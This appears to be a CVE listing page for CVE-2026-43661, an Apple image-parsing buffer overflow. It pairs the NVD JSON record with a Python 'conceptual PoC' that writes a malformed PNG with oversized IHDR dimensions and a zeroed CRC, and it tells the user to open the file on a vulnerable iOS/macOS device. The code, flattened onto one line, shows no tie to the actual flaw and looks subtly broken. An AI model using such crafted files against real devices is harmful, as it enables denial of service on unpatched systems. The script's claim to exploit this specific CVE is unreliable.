CVE-2026-43661

import struct # Conceptual PoC for Image Processing Buffer Overflow # Creates a malformed image file with an oversized header field # intended to trigger a memory corruption in the image parser. def create_malicious_image(filename): # Simulating a generic image header format (e.g., PNG-like structure) # Magic bytes for image identification header = b'\x89PNG\r\n\x1a\n' # Construct a chunk header chunk_type = b'IHDR' # Malicious payload: Extremely large width/height values # This attempts to overflow the buffer allocated for image metadata malicious_width = struct.pack('>I', 0xDEADBEEF) malicious_height = struct.pack('>I', 0xCAFEBABE) # Remaining metadata placeholders bit_depth = b'\x08' color_type = b'\x02' compress = b'\x00' filter_method = b'\x00' interlace = b'\x00' # Calculate CRC (dummy value for PoC) crc = b'\x00\x00\x00\x00' # Assemble the chunk chunk_data = malicious_width + malicious_height + bit_depth + color_type + compress + filter_method + interlace chunk_len = struct.pack('>I', len(chunk_data)) ihdr_chunk = chunk_len + chunk_type + chunk_data + crc # Write to file with open(filename, 'wb') as f: f.write(header + ihdr_chunk) print(f"[+] Malicious image file generated: {filename}") print("[+] Attempt to open this file on a vulnerable iOS/macOS version to trigger the crash.") if __name__ == "__main__": create_malicious_image("cve_2026_43661_exploit.png")

{"cve": {"id": "CVE-2026-43661", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:19:01.823", "lastModified": "2026-05-12T17:51:34.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing a maliciously crafted image may corrupt process memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "9D9FC2C4-7A7C-4330-A226-255428A5D18E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "0A70A5FD-8891-4C4E-9D35-F217F95027B5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "057B244F-5485-4108-8E23-FE15F5256EE7"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127119", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}